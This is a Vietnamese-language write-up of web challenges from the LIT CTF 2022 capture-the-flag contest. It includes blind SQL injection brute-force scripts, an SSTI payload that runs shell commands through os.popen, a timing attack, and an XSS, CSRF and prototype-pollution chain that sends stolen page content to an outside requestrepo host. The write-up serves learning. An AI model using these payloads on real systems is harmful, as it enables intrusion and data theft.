LIT CTF 2022 WEB CHALLENGES - Writeup

LIT CTF 2022 WEB CHALLENGES - Writeup

Giải này thì team mình được hạng 14, lúc đầu mình định sẽ không viết wu đâu nhưng vì khá tiếc bài cuối 🥺 nên vẫn quyết định dành ra tí thời gian để làm cho giải này được "hoàn thiện".

Personal Website

Bài này flag được chia thành 3 phần và được dấu ở trong trang web. Ctrl + U ta tìm được phần thứ nhất:

Ở file style.css, là phần thứ 2

Phần cuối cùng nằm ở javascript.js


Kevin's Cookies

Dùng extension cookie editor để xem giá trị cookie của trang web mình thấy có một giá trị là likeCookie=false

Sau khi set lại nó thành true thì có vẻ việc tiếp theo ta phải làm là brute giá trị cookie này từ 1 đến 20

Cuối cùng ở likeCookie=17 ta tìm được flag


Guess The Pokemon

Bài này thì author có để source, sau khi tải về thì vuln ở đoạn code sau

\=> sqli

Submit name 1 or 1=1, ta được flag


Among Us

Bài này hơi guessy một tí, để dễ thì ta có thể dùng burp sau khi truy cập vào link challange và chuyển sang tab HTTP history của burp

Ấn vào xem request này, ta được flag nằm ở header của response


EYANGCH Fan Art Maker & EYANGCH Fan Art Maker 2.0

Có một ô để ta submit code

Ấn submit thì ta thấy có một image chứa flag nhưng đã bị che đi

Cả hai bài này mình đều giải theo hướng unintended, submit <component name="EYANGOTZ"> </component> để ghi đè các thành phần của nó và kết quả là


Amy The Hedgehog

Nhập a, ấn guess hiển thị ra

Nhập a' or 1=1-- -

\=> blind sqli

Dựa vào mô tả của đề ta biết đc db là sqlite3, script exploit:

import requests

url = 'http://litctf.live:31770/'
flag = ""
for i in range(1, 40):
    for c in range(32, 128):
        payload = "' or (select substr(name,{},1) from names) = char({})) --".format(i, c)
        req = requests.post(url, data={ 'name': payload })
        if "You got it" in req.text:
            flag = flag + chr(c)
            print(flag)
            break

print(flag)

Flushed Emoji

Click vào Flushed Emoji, hiển thị ra thêm một cửa sổ mới yêu cầu nhập username, password 😨

Mình nhập đại bla:bla và thu được

Vì bài này có cho source nên đi vào phân tích thôi, sau khi tải về thì ta thấy sẽ có 2 folder chính: data-server là một database server dùng để truy xuất giữ liệu, main-server là web server tương tác với ta. data-server nằm ở interal network nên chỉ có thể tương tác với nó thông qua main-server.

Nhảy vào xem source file main-server/main.py, vuln rất dễ thấy: ssti ở password

Tới đây có một việc cần lưu ý nữa đó là sẽ có một POST request gửi từ main-server đến data-server với usernamepassword (sau khi đã filter chỉ gồm chữ cái) để truy xuất dữ liệu.

Đọc source của file data-server/main.py

Nếu câu truy vấn có trả về kết quả thì return True ngược lại return False => sqli blind

Vậy suy ra bài này sẽ có 2 vuln đó là ssti + sqli, mình đã đề cập trước đó chỉ có main-server mới giao tiếp được với data-server nên ý tưởng là ssti để RCE và thực hiện sqli.

Vì không thể xài . trong payload ssti

if('.' in password):
  return render_template_string("lmao no way you have . in your password LOL")

nên ta dùng cách khác

cat main.py để lấy địa chỉ IP của data-server

Sau khi có IP rồi thì ta bắt đầu khai thác sqli, mình tốn kha khá thời gian để nhận ra main-server này không có curl command 😗 vì vậy sẽ chuyển qua khai thác với requests trong python

Và để tránh bị filter đi . thì mình sẽ encode payload rồi pipe output vào python, payload tổng quát sẽ như sau: echo <base64 encoded payload> | base -d | python3

script:

flag = ""
l = 1
while not flag.endswith('}'):
    for i in range(32, 128):
        payload = "import requests;r = requests.post('http://172.24.0.8:8080/runquery',json={'username':'flag\\' and substr(password,INDEX,1)=char(CHAR)--','password':'1'});print(r.text)".replace("INDEX", str(l)).replace("CHAR", str(i))
        #print(payload)
        final_payload = b64encode(payload.encode()).decode()

        password = '{{lipsum["__globals__"]["os"]["popen"]("echo BASE64 | base64 -d | python3")["read"]()}}'.replace("BASE64", final_payload)

        r = requests.post(url, data={'username':'a', 'password': password})
        if "True" in r.text:
            flag += chr(i)
            print(flag)
            break
    l+=1

# LITCTF{flush3d_3m0ji_o.0}

Secure Website

Truy cập vào trang hiển thị ra là một ô để ta nhập password

Nhập đại gì đó và ấn Log in bị dẫn đến trang youtube của rick roll 😂, kiểm tra ở tab HTTP History thì có một request được gửi tới server

Ấn viewsource trang, thấy có một đoạn JS thực hiện mã hóa RSA đối với password ta nhập vào

Người ta còn để sẵn cả các tham số của nó luôn cơ 🤣

Trên server sau khi nhận được request tới sẽ thực hiện kiểm tra

Hàm mà ta cần chú ý là checkPassword() được khai báo trong passwordChecker.js

// I think this is how you're supposed to implement RSA?
// IDK this is a web challenge not a crypto challenge :clown:
// I just picked 2 random prime numbers as the tutorial said
// (Or is it 0_0)

var p = 3217;
var q = 6451;
var e = 17;
// Hmmm, RSA calculator says to set these values
var N = p * q;
var phi = (p - 1) * (q - 1);
var d = 4880753;

function decryptRSA(num) {
    return modPow(num, d, N);
}

function checkPassword(password, pass) {
    var arr = pass.split(",");
    console.log(arr);
    for (var i = 0; i < arr.length; ++i) {
        arr[i] = parseInt(arr[i]);
    }

    if (arr.length != password.length) return false;
    for (var i = 0; i < arr.length; ++i) {
        var currentChar = password.charCodeAt(i);
        var currentInput = decryptRSA(arr[i]);
        if (currentChar != currentInput) return false;
    }
    return true;
}

function modPow(base, exp, mod) {
    var result = 1;
    for (var i = 0; i < exp; ++i) {
        result = (result * base) % mod;
    }
    return result;
}

module.exports = { checkPassword }

Idea khai thác bài này là từ một teamate của mình AP#4666 dựa trên timing attack, tại sao lại là timing attack ?

Để ý ở đoạn code dòng 25, nếu length password ta gửi lên đúng với length password trên server thì mới bắt đầu decrypt. Hàm decrypt là hàm mũ, vậy nếu ta send một chuỗi số cực lớn thì một khi điều kiện if ở dòng 25 thỏa sẽ bắt đầu decrypt và time response trả về sẽ lớn.

\=> Length password sẽ là 6

Tiếp theo cũng áp dụng cách tương tự để brute các kí tự còn lại, ta sẽ gửi lên server <encryt(bruting char)>, big_num, big_num, big_num, big_num, big_num. Một điều cần lưu ý thêm đó là time delay ở các kí tự sau sẽ tăng dần điều này là hiển nhiên vì chuỗi ta đang brute chứa 6 kí tự

vì vậy cần chọn thời gian cho thích hợp để brute

Sau khi có được 5 kí tự đầu thì ta sẽ brute kí tự cuối cùng

import requests
import time
import string

def encrypt(input):
    p = 3217
    q = 6451
    e = 17
    N = p * q
    phi = (p - 1) * (q - 1)
    d = 4880753

    res = 1
    for i in range(e):
        res = (res * input) % N
    return res

length = 6
first_5_char_real_pass = "CxIj6"
dic = [big_num] * length
for _ in range(5):
    dic[_] = encrypt(ord(first_5_char_real_pass[_]))

for c in string.ascii_letters + string.digits:
    dic[5] = encrypt(ord(c))
    password = ','.join([str(x) for x in dic])
    r = requests.get(URL + "/verify?password=" + password)
    # print(URL + "/verify?password=" + password)
    if "LITCTF" in r.text:
        print("[-] password: " + first_5_char_real_pass + c)
        print(r.text)
        break

'''
Kết quả:
    password: CxIj6p
    -> Flag: LITCTF{uwu_st3ph4ni3_i5_s0_0rz_0rz_0TZ}
'''

Imgurbage

Bài này thì mình chỉ đi gần được một nửa thôi để solve thôi, sau khi giải end mình mới đi hỏi author solution và quyết định viết sẽ viết writeup cho nó.

Access vào link challenge, hiển thị ra một trang login:

/register ta có thể đăng kí account với username, nickname, decade, password:

Sau khi tạo account và login vào thì thấy được thêm 3 chức năng mới:

  • Tạo mới image: bao gồm urldescription của image

  • Add Friend: dùng để add friend với con bot

  • View Friend: view image của friend

Source code thì đã có sẵn nên các bạn có thể tự đọc, mình sẽ đi thẳng vào những điểm quan trọng để giải bài này, đầu tiên là ở /register:

có một đoạn check md5(nickname) phải khác một giá trị hash cho trước, và dòng message cũng đã khiến mình để ý tới nó.

Vì là md5 nên thử lên mạng tìm tool decrypt và kết quả:

🤔 prototype pollution (PP) à ? Tiếp theo mình để ý ở đoạn code trong file user.js:

addFriend(friend) {
    if(friend instanceof User && md5(friend.nickname) != "1f4e0a21bb6eef87c17ca2abdfc28369") {
        for(let img in friend.images[friend.nickname]) {
            if(!(friend.nickname.trim() in this.images)) this.images[friend.nickname.trim()] = {};
            // console.log(this.images[friend.nickname.trim()]["test"] = 123);
            console.log(this.images)
            this.images[friend.nickname.trim()][img] = friend.images[friend.nickname][img];

        }
    }
}

friend.nickname.trim() thực hiện việc remove đi các kí tự space ở đầu và cuối chuỗi, 🧐 tới đây mình nảy ra idea là sẽ dùng " _proto_" để bypass đoạn check md5 ở trên nhưng vẫn có thể khai thác PP.

Tiếp đó muốn sử dụng PP thì ta sẽ cần tìm một biến đặc biệt để pollute , để ý từ file addFriend.js bot sẽ truy cập tới /register đăng kí một random account, sau đó là /new để tạo một image với description là flag rồi cuối cùng mới access tới /combine để view image của account truyền vào thông qua GET param => Điểm cuối của bot là /combine và sẽ được render từ combine.ejs nên mình nhảy vào đọc file này. Chú ý tới những chỗ sau:

Sau khi thực hiện user.addFriend(friendUser) thì bắt đầu gán decade = window.decade ?? user.decade, và ở bên dưới là innerHTML+=decade từ đó có thể suy ra nếu ta control được biến decade thì có thể khai thác XSS.

Đoạn code trong file user.js mình đã trích ở trên có một chỗ cần quan tâm đó là this.images[friend.nickname.trim()][img] cái img trong này trace ngược lại đó chính là 6 kí tự đầu md5 hash của cái url:

Tới đây thì mọi thứ có vẻ hợp lí, vì chuỗi decade bao gồm các kí tự đều nằm trong hệ hex và cũng vừa đủ 6 kí tự, viết script để brute và tìm thôi:

import string    
import random 
from hashlib import md5

while True:
    ran = ''.join(random.choices(string.ascii_uppercase + string.digits + string.ascii_lowercase, k = 15))
    output = md5(ran.encode()).hexdigest()[0:6]
    if output == "decade":    
        print(f"FOUND: " + str(ran))
        break
    else:
        print(output, end = "\r")

# f0pu0bEicPFBhOE

Kết quả: f0pu0bEicPFBhOE

Làm tới đây thì mình lại đâm đầu đi bypass cái CSP, search mạng đủ kiểu để steal nonce blabla ... 😩 và thế là chả giải ra.

Sau khi end giải và đi hỏi solution thì mình biết được cần phải áp dụng self XSS ở phần /register, thử tạo một account với username là <script>alert(1)</script> và sau đó cố tình tạo lại account khác với cùng username này:

-> self XSS

Kịch bản khai thác sẽ như sau

  1. Đăng kí một account với username là payload XSS để steal description của bot, nickname là " _proto_"

  2. Login với account vừa tạo sau đó tạo mới một image với url=f0pu0bEicPFBhOEdescription=<iframe src="http://fiph4zll.requestrepo.com"></iframe>

  3. http://fiph4zll.requestrepo.com cấu hình cho response trả về một form CSRF thực hiện việc re-register cái account vừa tạo ở 1.

<body>
    <form action="http://localhost:8080/register" method="POST">
        <input type="text" name="username" placeholder="username" id="payload">
        <br><br>
        <input type="text" name="nickname" placeholder="nickname" value="bla">
        <br><br>
        <input type="text" name="decade" placeholder="decade" value="bla">
        <br><br>
        <input type="password" name="password" placeholder="password" value="bla">
        <br><br>
        <input type="submit" value="Submit">
    </form>

    <script>
        value = "\x3Cscript>var x = new XMLHttpRequest;x.open('GET','/view'); x.onload = function (){navigator.sendBeacon('http://fiph4zll.requestrepo.com', this.responseText)};x.send();\x3C/script>";
        document.getElementById("payload").setAttribute('value', value);
        document.forms[0].submit();
    </script>
</body>

-> Trigger self XSS trong iframe và thành công steal được description chứa flag

Sau đây là hiện thực các bước:

  • register account với username là payload xss

  • tạo mới một image:

  • add friend với admin:

  • chờ vài giây có một POST request gửi tới:

  • decode và lấy được flag: